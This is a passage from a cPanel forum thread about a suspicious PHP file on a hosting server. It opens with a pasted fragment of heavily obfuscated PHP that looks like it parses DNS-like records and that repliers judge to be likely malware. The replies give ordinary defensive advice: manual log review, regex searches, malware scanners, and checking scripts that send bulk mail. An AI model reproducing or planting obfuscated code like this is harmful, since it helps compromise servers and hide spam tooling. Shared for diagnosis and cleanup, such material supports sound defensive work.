$GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[94].$z26[40].$z26[73].$z26[65].$z26[76].$z26[17]): $mggto64 = $z26[89].$z26[9].$z26[5]; break; case $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[94].$z26[47].$z26[36].$z26[19].$z26[3].$z26[17].$z26[71].$z26[36].$z26[80]):$mggto64 = $z26[89].$z26[15].$z26[96].$z26[7];break; case $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[94].$z26[10].$z26[10].$z26[71].$z26[36].$z26[71].$z26[3].$z26[40].$z26[94].$z26[44]):$mggto64 = $z26[89].$z26[25].$z26[25];break; } for ($yfuds89 = 0; $yfuds89 < $mpugn39[$mggto64]; $yfuds89++) { $nqjtw27[$z26[9].$z26[89].$z26[1].$z26[31]] = $GLOBALS['nylha24']($z26, $syfkf90, $zfcav5); if ($irsck14 == $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[83].$z26[76].$z26[73].$z26[36].$z26[71].$z26[3].$z26[40])) { $nqjtw27 = $GLOBALS['fjpnj22']($nqjtw27, $GLOBALS['lavnu82']($z26[9].$z26[96].$z26[63].$z26[52].$z26[31].$z26[14].$z26[9].$z26[18].$z26[34].$z26[89].$z26[5].$z26[5], substr($zfcav5, $syfkf90, 4))); $syfkf90+=4; } else { $nqjtw27 = $GLOBALS['fjpnj22']($nqjtw27 , $GLOBALS['lavnu82']($z26[9].$z26[96].$z26[63].$z26[52].$z26[31].$z26[14].$z26[9].$z26[18].$z26[34].$z26[89].$z26[5].$z26[5].$z26[14].$z26[40].$z26[96].$z26[96].$z26[34].$z26[14].$z26[9].$z26[25].$z26[89].$z26[96].$z26[89].$z26[34].$z26[31].$z26[9].$z26[23].$z26[96].$z26[7], substr($zfcav5, $syfkf90, 10))); $syfkf90+=10; switch ($nqjtw27[$z26[96].$z26[63].$z26[52].$z26[31]]) { case $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[97].$z26[91]): $nqjtw27 = $GLOBALS['fjpnj22']($nqjtw27, $GLOBALS['lavnu82']($z26[9].$z26[52].$z26[55].$z26[31].$z26[85].$z26[31].$z26[55].$z26[31].$z26[9].$z26[18].$z26[31], substr($zfcav5, $syfkf90, 2))); $syfkf90+=2; $nqjtw27[$z26[25].$z26[89].$z26[96].$z26[89]] = $GLOBALS['nylha24']($z26, $syfkf90, $zfcav5); break; case $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[94]): $nqjtw27 = $GLOBALS['fjpnj22']($nqjtw27, $GLOBALS['lavnu82']($z26[40].$z26[25].$z26[89].$z26[96].$z26[89], substr($zfcav5, $syfkf90, 4))); $syfkf90+=4; $nqjtw27[$z26[2].$z26[52]] = $GLOBALS['lqzly97']($nqjtw27[$z26[25].$z26[89].$z26[96].$z26[89]]); break; case $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[40].$z26[73]): $nqjtw27[$z26[25].$z26[89].$z26[96].$z26[89]] = $GLOBALS['nylha24']($z26, $syfkf90, $zfcav5); break; default: $syfkf90 += $nqjtw27[$z26[25].$z26[89].$z26[96].$z26[89].$z26[34].$z26[31].$z26[9].$z26[23].$z26[96].$z26[7]]; } } $smtab80[$mggto64][] = $nqjtw27; } } return $smtab80; } function jldeq95($z26, &$ncmxz39, $zfcav5) { $smtab80 = ""; $zfhgv16 = $ncmxz39; while ($GLOBALS['hmhgt49']($zfcav5[$zfhgv16]) != 0) { if ($GLOBALS['hmhgt49']($zfcav5[$zfhgv16]) == 0xC0) { if ($zfhgv16 >= $ncmxz39) { $ncmxz39 += 2; } $zfhgv16 = $GLOBALS['hmhgt49']($zfcav5[$zfhgv16 + 1]); continue; } if ($GLOBALS['qujzg48']($smtab80) > 0) { $smtab80 .= $z26[82]; } $smtab80 .= substr($zfcav5, $zfhgv16 + 1, $GLOBALS['hmhgt49']($zfcav5[$zfhgv16])); $zfhgv16 += $GLOBALS['hmhgt49']($zfcav5[$zfhgv16]) + 1; if ($zfhgv16 > $ncmxz39) { $ncmxz39 = $zfhgv16; } } if ($zfhgv16 >= $ncmxz39) { $ncmxz39 += 1; } return $smtab80; } 
     
  14. madmanmachines

    madmanmachines Well-Known Member

    Joined:
    Nov 28, 2014
    Messages:
    94
    Likes Received:
    3
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    That is a common file name for malware. The code you found is obfuscated, as most malware often is. You can try decoding it using a an online tool or someone might be nice enough to do so for you, but looking at it, I would think it is most certainly malware. Though, keep in mind that some legitimate copy-righted code is obfuscated in similar manners, so not all code that looks like this is malicious.

    Regarding your question about scanners, I mainly prefer manually looking based off file timestamps and domlogs. I also use regex to search for common malicious obfuscation/injection techniques, but I may follow up with maldet/clamscan for a last look-over. You may also consider replacing segments of code entirely, such as re-installing CMS core files, or removing/re-adding plugins/themes.
     
  15. cPanelMichael

    cPanelMichael Forums Analyst
    Staff Member

    Joined:
    Apr 11, 2011
    Messages:
    30,678
    Likes Received:
    649
    Trophy Points:
    113
    cPanel Access Level:
    Root Administrator
    Hello,

    Yes, as mentioned, scanning tools might help, but the best way to address the issue is to review the scripts in directories sending large amounts of mail to ensure they are legitimate and not used for spamming purposes.

    Thank you.
     
Loading...

Share This Page